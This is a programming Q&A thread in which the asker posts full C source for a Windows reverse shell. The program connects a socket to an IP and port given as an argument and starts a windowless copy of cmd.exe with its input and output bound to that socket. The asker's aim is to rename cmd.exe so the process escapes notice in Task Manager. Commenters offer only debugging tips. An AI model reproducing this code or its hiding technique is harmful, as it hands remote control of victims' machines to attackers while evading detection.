0

I have a program that uses create process to run cmd.exe. When it runs, the program goes into the Task Manager as cmd.exe *32. I don't want it to be called that so I was going to take a copy of the cmd.exe and cmd.exe.mui and rename it to something like test.exe. When I try to run the program it does not properly call that copy of cmd.exe. The program is just supposed to connect to a socket. If I leave it as cmd.exe it opens up fine. If I change it to test.exe, nothing happens.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <dirent.h>
#include <errno.h>
#include <winsock2.h>

void RunSocket(char *a, char *b);
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show);


int main(int argc, char *argv[]) {
    char *socket = argv[1];
    printf("%s", argv[0]);
    WinMain(0,0,socket,0);
    return 0;
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
    char test[50];
    strncpy(test, cmdline, 49);
    char *ip = strtok(test, ":");
    char *port = strtok(NULL, ":");

    printf("IP: %s\n", ip);
    printf("PORT: %s", port);
    RunSocket(ip, port);
    return 0;
}

void RunSocket(char *a, char *b) {
    WSADATA wsaData;
    SOCKET Winsock;
    struct sockaddr_in hax;
    char ip_addr[16];
    STARTUPINFO ini_processo;
    PROCESS_INFORMATION processo_info;

    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    struct hostent *host;
    host = gethostbyname(a);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(b));
    hax.sin_addr.s_addr =inet_addr(ip_addr);

    WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    char com[] = "C:\\Windows\\System32\\test.exe";
    CreateProcess(NULL, com, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
}
Brian Jarcus
  • 69
  • 1
  • 1
  • 6
  • 1
    Can you successfully run test.exe outside of your program? Have you considered adding some error checking so you can know why it isn't working? – Retired Ninja Jan 23 '18 at 13:47
  • Yes, from a command prompt I can run test.exe and it will drop be into another command prompt. – Brian Jarcus Jan 23 '18 at 13:51
  • How are you compiling? – amasmiller Jan 23 '18 at 14:07
  • 2
    Well, `CreateProcess` returns a value to tell you if it was successful or not, and `GetLastError` will tell you why it failed. I suggest you look into that. – Retired Ninja Jan 23 '18 at 14:09
  • @amasmiller I don't see why that matters. If it runs fine with cmd.exe and not with test.exe which is a copy... Something related to CreateProcess is not liking it. But I am using CodeBlocks and compiling as a Win32 GUI. – Brian Jarcus Jan 23 '18 at 14:13
  • *does not properly call* - what does that mean? How do you know it is not connecting to the socket? What happens? As @RetiredNinja says, get the return code and error message. – cdarke Jan 23 '18 at 15:42
  • I am not sure how to get the error message. I have tried a few examples and nothing is happening. I am still learning C. By call I mean it does not open the cmd.exe. – Brian Jarcus Jan 23 '18 at 15:50
  • If you actually try to copy the file to the System32 directory, or some other protected place, [it might end up somewhere else](https://stackoverflow.com/questions/17953426/how-to-get-programatically-the-location-of-a-windows-uac-virtualized-file?noredirect=1&lq=1). Depending on how you try to access the file, this "somewhere else" might be automatically located, or not. – Bo Persson Jan 23 '18 at 16:13
  • I manually copied cmd.exe from System32 and pasted the copy in System32. I then renamed it to test.exe. I did this through the file explorer. – Brian Jarcus Jan 23 '18 at 17:32
  • @Bo Persson I moved the test.exe to another location (C:\Test\test.exe) and that works. I supposed System32 doesn't like to have a copy of cmd.exe in the same spot. – Brian Jarcus Jan 23 '18 at 17:42

0 Answers0